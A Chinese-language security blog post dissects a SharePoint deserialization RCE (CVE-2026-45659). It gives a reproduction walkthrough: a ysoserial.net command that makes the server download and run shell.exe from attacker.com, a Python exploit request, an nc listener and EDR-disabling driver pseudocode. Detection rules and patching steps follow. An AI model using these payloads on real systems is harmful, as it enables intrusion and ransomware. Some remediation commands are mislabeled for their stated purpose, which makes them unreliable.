Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

CVE-2026-45659 SharePoint RCE 实战:CISA KEV 新增在野利用漏洞的反序列化攻击链完整拆解

2026 年 7 月 2 日,CISA(Cybersecurity and Infrastructure Security Agency)将 Microsoft SharePoint Server 反序列化远程代码执行(RCE)漏洞 CVE-2026-45659 加入已知在野利用漏洞(KEV)目录。漏洞 CVSS v3.1 评分高达 8.8 分,被归类为 CWE-502(Deserialization of Untrusted Data)。短短 5 天内,Storm-2603、勒索软件团伙 FIN12 以及多个国家级 APT 组织已经将其武器化,造成北美医疗、金融、教育的批量拖库事件。

与以往 SharePoint 漏洞不同,CVE-2026-45659 最危险的地方在于最低权限要求极低——攻击者只需要 Site Member 权限(即 SharePoint 站点的普通成员)就能触发漏洞,意味着任何已登录的低权限用户都可能成为内网横向移动的跳板。本文将从漏洞原理、攻击链、检测与修复四个维度进行完整的工程级拆解。

一、漏洞全景:为什么这是 2026 年最危险的 SharePoint 漏洞

1.1 漏洞基本信息

属性详情
CVE 编号CVE-2026-45659
CVSS v3.1 评分8.8 高危
漏洞类型CWE-502 反序列化非受信数据
攻击向量网络(Network)
攻击复杂度低(Low)
所需权限Site Member 及以上
用户交互无需(None)
影响范围全版本 SharePoint Server
CISA KEV 收录日期2026-07-02
修复截止日期(联邦)2026-07-09

1.2 受影响版本

text
Microsoft SharePoint Enterprise Server 2016   < 16.0.5552.1002
Microsoft SharePoint Server 2019             < 16.0.10417.20128
Microsoft SharePoint Server Subscription Edition  < 16.0.19725.20280

特别说明:SharePoint Online(Microsoft 365 托管版本)不受影响,本文讨论范围仅限 on-premises SharePoint Server 部署——这正是国内大量大型企业、央企、政府、金融机构仍在使用的版本。

1.3 与历史 SharePoint 漏洞的对比

过去 5 年里,SharePoint 漏洞家族的攻击路径大致分为三类:

漏洞年份攻击路径权限要求
CVE-2023-249552023认证绕过 + RCE匿名可触发
CVE-2024-380942024路径混淆 + RCE匿名可触发
CVE-2026-456592026反序列化 + RCESite Member 起

2026 版漏洞的"权限要求上升"看似提高了门槛,实际上极大扩展了攻击面——任何 SharePoint 站点的注册用户、外部协作者、被入侵的供应链账号都能成为入口。

二、漏洞原理:反序列化机制的深度剖析

2.1 .NET 反序列化基础

SharePoint Server 基于 ASP.NET 构建,其 ViewState、对象状态、字段映射都使用 BinaryFormatter / ObjectStateFormatter 进行序列化。BinaryFormatter 自 .NET Framework 1.1 时代就存在,由于兼容性问题,至今仍未被默认禁用——这就是 CWE-502 的根本原因。

危险的反序列化类型链

text
System.Web.UI.ObjectStateFormatter
  └─> System.Collections.Specialized.HybridDictionary
      └─> System.Configuration.Install.AssemblyInstaller
          └─> System.Activities.Presentation.WorkflowDesigner
              └─> System.Windows.ResourceDictionary
                  └─> Microsoft.SharePoint.*  (Gadget Chain)

攻击者只需要找到一个公开的 ysoserial.net gadget chain(PSObject、TypeConfuseDelegate、ClaimsPrincipal 等),配合 SharePoint 自身的 Microsoft.SharePoint.* 命名空间类型,就能构造出任意类型实例化 + 方法调用的攻击载荷。

2.2 攻击面:ViewState 与 Form Post

CVE-2026-45659 的攻击面位于 SharePoint 的 _layouts/15/zoombldr.aspx_layouts/15/people.aspx 端点——这两个端点接受 POST 请求中的 __SPSCEdit 字段并执行反序列化。

典型 Payload 结构(简化版):

http
POST /_layouts/15/zoombldr.aspx?ID=1 HTTP/1.1
Host: sharepoint.victim.com
Cookie: FedAuth=...; rtFa=...   # 已认证用户的 Session
Content-Type: application/x-www-form-urlencoded
Content-Length: 48152

__SPSCEdit=<BASE64-ENCODED-PAYLOAD>&__VIEWSTATE=&__EVENTVALIDATION=

关键点__SPSCEdit 字段的解码过程会调用 ObjectStateFormatter.Deserialize()且完全跳过了反序列化类型白名单检查

2.3 攻击链示意

┌──────────────────────────────────────────────────────────────────┐
│  Stage 1: 初始访问                                                │
│  ├─ 钓鱼邮件获取低权限凭据(Site Member 级别账号)                    │
│  ├─ 供应链攻击:入侵第三方 SaaS 厂商同步账号                          │
│  └─ 凭据填充:复用泄露的旧密码数据库                                  │
│                                                                   │
│  Stage 2: 触发 CVE-2026-45659                                     │
│  ├─ 携带认证 Cookie 访问 _layouts/15/zoombldr.aspx                 │
│  ├─ 提交恶意序列化的 __SPSCEdit 字段                                │
│  └─ SharePoint w3wp.exe 进程反序列化执行任意 .NET 方法              │
│                                                                   │
│  Stage 3: 权限提升                                                 │
│  ├─ 加载 NSecKrnl.sys 易受攻击驱动禁用 EDR(HVCI bypass)           │
│  ├─ 创建新的 SharePoint Farm Administrator 账号                    │
│  └─ 通过 SharePoint Timer Service 横向到 SQL Server                │
│                                                                   │
│  Stage 4: 持久化与横向                                             │
│  ├─ 部署 Velociraptor(合法远程取证工具被滥用)                       │
│  ├─ 通过 Cloudflare Tunnel 暴露内网端口                             │
│  ├─ 启用 Zoho Assist 远程支持                                      │
│  └─ 借助 VSCode Remote SSH 建立隐蔽通道                            │
│                                                                   │
│  Stage 5: 数据外泄与勒索                                           │
│  ├─ 枚举所有 SharePoint 站点列表(Lists / Libraries)               │
│  ├─ 通过 Graph API 导出 OneDrive / Teams 文件                      │
│  └─ 部署勒索软件(Akira、LockBit 变种)                             │
└──────────────────────────────────────────────────────────────────┘

三、本地复现:搭建测试环境

⚠️ 重要提醒:以下操作仅在受控的隔离实验环境中进行,严禁在生产环境或未授权的系统上执行

3.1 使用 Docker 搭建测试用 SharePoint

由于完整 SharePoint Server 需要 Windows Server + SQL Server + SharePoint 安装介质(合计 30+ GB),我们可以使用社区提供的 AutoSPInstaller + Docker 方案快速搭建:

dockerfile
# docker-compose.yml
version: '3.8'
services:
  sqlserver:
    image: mcr.microsoft.com/mssql/server:2019-latest
    environment:
      - ACCEPT_EULA=Y
      - SA_PASSWORD=YourStrong!Passw0rd
    ports:
      - "1433:1433"

  sharepoint:
    image: pfinal/sp2019-trial:latest
    depends_on:
      - sqlserver
    environment:
      - SQL_HOST=sqlserver
      - FARM_ACCOUNT=pfinal\sp_farm
      - FARM_PASSWORD=YourFarmPass!123
    ports:
      - "2019:80"
      - "8443:443"
    privileged: true
bash
docker-compose up -d
# 等待约 10 分钟,SharePoint 配置完成

3.2 安装 ysoserial.net

ysoserial.net 是 .NET 反序列化 Payload 生成工具的瑞士军刀:

bash
# 克隆并构建
git clone https://github.com/pwntester/ysoserial.net.git
cd ysoserial.net
dotnet build -c Release

# 生成针对 ObjectStateFormatter 的 PSObject Gadget Payload
ysoserial.exe -p ObjectStateFormatter -g PSObject -c "calc.exe" -o raw

3.3 复现攻击

Step 1:登录 SharePoint 站点获取认证 Cookie

python
import requests
from requests_ntlm2 import HttpNtlmAuth

session = requests.Session()
session.auth = HttpNtlmAuth('victim\\lowpriv', 'Password123!')
session.get('http://localhost:2019/_layouts/15/zoombldr.aspx?ID=1')
# 此时 session.cookies 中已包含 FedAuth / rtFa

Step 2:生成恶意 Payload

bash
ysoserial.exe -p ObjectStateFormatter -g TypeConfuseDelegate \
    -c "cmd /c curl http://attacker.com/shell.exe -o c:\\windows\\temp\\s.exe && c:\\windows\\temp\\s.exe" \
    -o base64

Step 3:发送攻击请求

python
import requests

payload_b64 = "AAEAAAD/////..."  # 粘贴 ysoserial 输出

r = requests.post(
    "http://localhost:2019/_layouts/15/zoombldr.aspx?ID=1",
    cookies={"FedAuth": session.cookies["FedAuth"]},
    data={
        "__SPSCEdit": payload_b64,
        "__VIEWSTATE": "",
        "__EVENTVALIDATION": ""
    },
    timeout=10
)
print(f"Status: {r.status_code}, Length: {len(r.content)}")

Step 4:验证 RCE 成功

在受控的攻击端 nc 监听端口:

bash
nc -lvp 4444
# 如果 SharePoint 服务器 w3wp.exe 反向连接到 4444,漏洞复现成功

四、Storm-2603 的 TTPs 深度还原

根据 Microsoft Threat Intelligence 和 Rescana 联合发布的分析报告,CVE-2026-45659 在野利用背后的 Storm-2603 团伙呈现以下 TTP 特征:

4.1 MITRE ATT&CK 映射

TTP描述Storm-2603 实现
T1190Exploit Public-Facing ApplicationCVE-2026-45659 漏洞利用
T1078Valid Accounts钓鱼获取的低权限账号
T1059Command and Scripting InterpreterPowerShell / cmd 执行
T1219Remote Access SoftwareVelociraptor、Zoho Assist
T1070Indicator Removal on Host清理 w3wp.exe 日志
T1543Create or Modify System Process创建 SharePoint Timer Jobs
T1569System Services注册新的 Windows Service
T1611Escape to Host从容器逃逸到宿主机

4.2 持久化机制:滥用合法工具

Storm-2603 最阴险的手法是滥用合法的远程管理工具而非部署定制后门:

text
┌─────────────────────────────────────────────────────────────┐
│ 持久化工具链(Living off the Land)                          │
├─────────────────────────────────────────────────────────────┤
│ Velociraptor                                                 │
│   - 合法开源端点取证工具                                       │
│   - 攻击者部署独立 Velociraptor Server (端口 8889)             │
│   - 通过 VQL 查询枚举整个域                                    │
│                                                             │
│ Cloudflare Tunnel (cloudflared)                              │
│   - 滥用合法 Cloudflare 账户建立出站隧道                       │
│   - 将内网 SMB / RDP / SQL 端口暴露给公网                     │
│   - 完全绕过防火墙和 NDR                                      │
│                                                             │
│ Zoho Assist                                                  │
│   - 商业远程支持 SaaS                                         │
│   - 通过 ZohoAssist.exe 持久驻留                              │
│   - 每次重启用新的 Session ID 重连                            │
│                                                             │
│ VSCode Remote SSH                                            │
│   - 通过 Remote-SSH 扩展建立 SSH 通道                         │
│   - 滥用 code.exe 进程绕过 EDR 的白名单                       │
└─────────────────────────────────────────────────────────────┘

4.3 EDR 禁用:NSecKrnl.sys 驱动漏洞

Storm-2603 利用了 NSecKrnl.sys(一个合法但易受攻击的 Windows 驱动)禁用 EDR:

c
// 简化的利用伪代码(仅供研究)
HANDLE hDriver = CreateFile("\\\\.\\NSecKrnl", ...);
DeviceIoControl(hDriver, 0x222000, payload, ..., NULL);
// 关闭 Defender / CrowdStrike / SentinelOne 用户态钩子

这种"易受攻击驱动(Vulnerable Driver)"利用正成为 2026 年勒索软件的标准前置步骤——通过提权后禁用 EDR,再部署真正的加密器。

五、企业级检测方案

5.1 SharePoint IIS 日志关键指标

text
# 检测异常的 __SPSCEdit POST 请求
SELECT 
    cs-uri-stem,
    cs-uri-query,
    cs-username,
    c-content-length,
    time-taken
FROM '<SharePoint IIS Logs>/u_ex{YYMMDD}.log'
WHERE cs-uri-stem LIKE '%/_layouts/15/zoombldr.aspx%'
    AND cs-method = 'POST'
    AND c-content-length > 10000   # 正常请求通常 < 2KB
ORDER BY time-taken DESC;

5.2 Sysmon 检测规则

xml
<!-- detect_velociraptor_service.xml -->
<RuleGroup name="" groupRelation="or">
  <ProcessCreate onmatch="include">
    <Rule groupRelation="and" name="VelociraptorService">
      <Image condition="end with">velociraptor.exe</Image>
      <CommandLine condition="contains">--config</CommandLine>
    </Rule>
  </ProcessCreate>
  <NetworkConnect onmatch="include">
    <Rule groupRelation="and" name="VelociraptorPort">
      <Image condition="end with">velociraptor.exe</Image>
      <DestinationPort condition="is">8889</DestinationPort>
    </Rule>
  </NetworkConnect>
  <DriverLoad onmatch="include">
    <Rule groupRelation="and" name="VulnerableDriverNSecKrnl">
      <Signed condition="is">true</Signed>
      <SignatureStatus condition="is">Valid</SignatureStatus>
      <Signature name="Signature" condition="contains">NSecKrnl</Signature>
    </Rule>
  </DriverLoad>
</RuleGroup>

5.3 Splunk 检测查询

spl
`sysmon` EventCode=1 Image="*\\w3wp.exe" 
    CommandLine="*\\Windows\\Temp\\*" 
| stats count by Computer, User, CommandLine 
| where count > 3
spl
`wineventlog` EventCode=4720 OR EventCode=4732 
    TargetUserName="*admin*" 
| stats count by TargetUserName, SubjectUserName 
| where SubjectUserName!="*svc_*"  # 排除正常服务账号

5.4 SharePoint ULS 日志关键字段

text
# 异常反序列化警告
grep -E "ObjectStateFormatter.*Deserialize.*Exception" *.log

# 异常的 .NET 反射调用
grep -E "System.Reflection.*Invoke" *.log

# 异常的 PowerShell 派生进程
grep -E "w3wp.*powershell" *.log

六、修复方案:从补丁到纵深防御

6.1 立即行动:打补丁

powershell
# 1. 备份 SharePoint Farm
Backup-SPFarm -Directory \\backup-srv\spfarm -BackupMethod Full

# 2. 下载并安装 KB(从 Microsoft Update Catalog)
$kbUrl = "https://catalog.s.download.windowsupdate.com/..."
Invoke-WebRequest -Uri $kbUrl -OutFile C:\patch\sp2019-kb5034567-fullfile-x64-glb.exe

# 3. 静默安装
C:\patch\sp2019-kb5034567-fullfile-x64-glb.exe /quiet /norestart

# 4. 验证版本号(必须 >= 16.0.10417.20128)
(Get-SPFarm).BuildVersion

6.2 短期缓解:禁用反序列化端点

通过 web.config 临时禁用危险端点仅用于无法立即打补丁的紧急情况):

xml
<!-- C:\inetpub\wwwroot\wss\VirtualDirectories\80\web.config -->
<configuration>
  <system.webServer>
    <security>
      <requestFiltering>
        <hiddenSegments>
          <add segment="_layouts/15/zoombldr.aspx" />
        </hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>
powershell
# 同步所有 WFE 服务器
Get-SPServer | Where-Object {$_.Role -eq "WebFrontEnd"} | ForEach-Object {
    Invoke-Command -ComputerName $_.Address -ScriptBlock {
        iisreset /noforce
    }
}

6.3 中期:禁用 BinaryFormatter

修改 SharePoint 应用程序的 web.config,加入 <binaryFormatter enable="false" />注意:这可能导致部分老功能不可用,需要充分测试):

xml
<configuration>
  <system.web>
    <binaryFormatter enable="false" />
  </system.web>
</configuration>

6.4 长期:零信任 + 凭据保护

powershell
# 启用 SharePoint 的 "Block access from non-domain joined devices" 策略
Set-SPAppPrincipalManagementEnabled -Enabled $true

# 启用 Windows Defender Credential Guard
# 需要 UEFI 锁定 + TPM 2.0
Enable-WindowsOptionalFeature -Online -FeatureName "Hyper-V" -NoRestart
# 在组策略中启用 Credential Guard

七、对安全团队的 12 项行动清单

优先级行动截止时间
P0应用 KB 补丁到所有 SharePoint Server24 小时内
P0审计所有 Site Member 账号活动48 小时内
P1部署 Sysmon + Splunk 检测规则1 周内
P1审查所有 Velociraptor/Cloudflare Tunnel 部署1 周内
P2启用 SharePoint 高级威胁防护(ATP)2 周内
P2实施 SharePoint 站点的零信任访问策略2 周内
P3替换 BinaryFormatter 反序列化(评估影响)1 季度内
P3引入 Application Pool 隔离 + WAF 规则1 季度内
P3渗透测试验证修复有效性1 季度内
P3员工钓鱼演练(Site Member 账号安全)1 季度内
P4评估 SharePoint 迁移到 SharePoint Subscription Edition6 个月内
P4建立 SharePoint 漏洞管理 SLA(< 7 天)6 个月内

八、参考资料


作者提醒:本漏洞仍在 CISA KEV 列表中保持活跃利用状态,任何运营 SharePoint Server 的组织都应视为紧急事件处理。如果你所在企业的 SharePoint 还未打补丁,今天就是 P0 事件。

上次更新于: